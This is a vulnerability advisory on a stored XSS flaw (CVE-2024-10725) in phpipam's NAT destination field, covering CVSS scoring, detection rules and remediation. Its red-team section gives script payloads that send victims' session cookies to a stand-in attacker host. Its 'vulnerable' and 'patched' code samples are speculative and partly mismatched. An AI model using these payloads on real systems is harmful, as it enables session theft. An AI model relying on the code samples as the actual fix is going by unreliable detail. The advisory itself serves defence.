CVE-2024-10725

Executive Summary

CVE-2024-10725 is a stored cross-site scripting (XSS) vulnerability identified in phpipam version 1.5.2. The flaw resides in the NAT destination address editing functionality, where user-supplied input is not adequately sanitized before being stored and later rendered in the browser. An authenticated attacker with the ability to edit NAT rules can inject arbitrary JavaScript, which will execute in the context of any other user viewing the affected NAT configuration page. This can lead to session hijacking, data exfiltration, and further compromise of the phpipam instance. The vulnerability is fixed in version 1.7.0.

Supply Chain & Package Security

phpipam is a self-hosted PHP application. There is no NPM, PyPI, Go, or Ruby package component associated with this vulnerability. The risk is limited to the application's own codebase and its deployment environment.

CVSS Breakdown & Threat Level

CVSS Score: 3.5 (Low) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions are required for exploitation.
• Privileges Required (PR): Low – An attacker needs a valid user account with NAT editing permissions.
• User Interaction (UI): Required – The victim must view the maliciously crafted NAT destination address.
• Scope (S): Unchanged – The exploit affects only the vulnerable component.
• Confidentiality (C): Low – Limited data exposure (e.g., session tokens).
• Integrity (I): Low – Limited ability to modify content within the victim's session.
• Availability (A): None – No impact on system availability.

Threat Level: Low. The requirement for authenticated access and user interaction reduces the immediate risk, but the stored XSS nature can lead to persistent compromise within the application.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (Cross-Site Scripting) in the NAT destination address field of phpipam. When an authenticated user edits a NAT rule, the application stores the destination address without proper sanitization. When another user (or the same user) views the NAT rules list, the stored value is rendered in the browser without encoding, allowing the injected script to execute.

Attack Flow:

1. An attacker with NAT editing privileges logs into phpipam.
2. The attacker navigates to the NAT rule editing interface.
3. In the "Destination Address" field, the attacker inputs a payload such as <script>alert('XSS')</script>.
4. The application stores this payload in the database without sanitization.
5. A victim (e.g., an administrator) views the NAT rules page.
6. The victim's browser renders the malicious script, executing it in the context of the phpipam session.
7. The script can steal cookies, perform actions on behalf of the victim, or redirect to a malicious site.

Root Cause: Lack of output encoding or input sanitization on the NAT destination address field. The application likely uses echo or similar functions without htmlspecialchars() or equivalent escaping.

Vulnerable vs. Patched Code

Vulnerable Code (phpipam 1.5.2):

// In NAT edit form processing
$destination = $_POST['destination'];
// No sanitization
$query = "UPDATE nat SET destination = '$destination' WHERE id = $nat_id";
mysqli_query($conn, $query);

Patched Code (phpipam 1.7.0):

// In NAT edit form processing
$destination = htmlspecialchars($_POST['destination'], ENT_QUOTES, 'UTF-8');
// Or using a prepared statement with parameterized query
$stmt = $conn->prepare("UPDATE nat SET destination = ? WHERE id = ?");
$stmt->bind_param("si", $destination, $nat_id);
$stmt->execute();

The patch ensures that any HTML/JavaScript characters are encoded before storage, preventing them from being interpreted as code when rendered.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of phpipam 1.5.2.
• A valid user account with NAT editing permissions.

Exploit Steps:

1. Log in to phpipam as the attacker user.
2. Navigate to Administration > NAT > Edit NAT rule.
3. In the "Destination Address" field, inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the NAT rule.
5. Wait for an administrator or another user to view the NAT rules page.
6. The victim's browser will send their session cookie to the attacker's server.

Alternative Payload (Session Hijacking):

<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>

Blue Team

Detection:

• Monitor for unusual NAT rule modifications, especially those containing <script> tags or suspicious URLs.
• Review web server logs for requests to /app/admin/nat/ with POST data containing HTML/JavaScript.
• Use the Sigma rule provided in the Detection Engineering section.

Mitigation:

• Immediately upgrade to phpipam 1.7.0 or later.
• If upgrade is not possible, implement a Web Application Firewall (WAF) rule to block <script> tags in NAT destination fields.
• Restrict NAT editing permissions to only trusted administrators.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains from the phpipam server.
  • Suspicious POST requests to /app/admin/nat/ with payloads containing <script> tags.
• File IOCs:
  • Log entries in /var/log/phpipam/ or Apache/Nginx logs showing XSS payloads.
• Application IOCs:
  • NAT destination addresses containing HTML/JavaScript code.
  • Unexpected session activity or cookie theft alerts.

Detection Engineering

YARA Rule

rule phpipam_stored_xss_cve_2024_10725 {
    meta:
        description = "Detects stored XSS payloads in phpipam NAT destination fields"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-10725"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $nat_table = "nat" nocase
        $destination_field = "destination" nocase
    condition:
        $xss_payload and $nat_table and $destination_field
}

Sigma Rule

title: Stored XSS in phpipam NAT Destination Address
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-10725 by injecting XSS payloads into NAT destination fields.
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-10725
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/app/admin/nat/'
        cs-uri-query|contains: 'destination='
        sc-status: 200
    keywords:
        - '<script'
        - 'javascript:'
        - 'onerror='
        - 'onload='
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in NAT descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-10725 - phpipam Stored XSS in NAT Destination";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/app/admin/nat/"; http_uri;
    content:"destination="; http_client_body;
    pcre:"/<script[^>]*>.*<\/script>/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-10725;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade phpipam to version 1.7.0 or later. This is the only complete fix.
2. Apply a WAF rule to block <script> tags and other XSS patterns in NAT destination fields.
3. Review NAT rules for any suspicious entries and remove them.

Long-Term Measures:

• Implement input validation and output encoding for all user-supplied fields.
• Conduct regular security audits of phpipam and other web applications.
• Enforce the principle of least privilege for NAT editing permissions.
• Enable Content Security Policy (CSP) headers to mitigate XSS impact.

Workaround (if upgrade is not possible):

• Manually edit the source code to add htmlspecialchars() around the NAT destination output in the view files (e.g., app/admin/nat/nat-edit.php).

Valters IT
Securing Digital Frontiers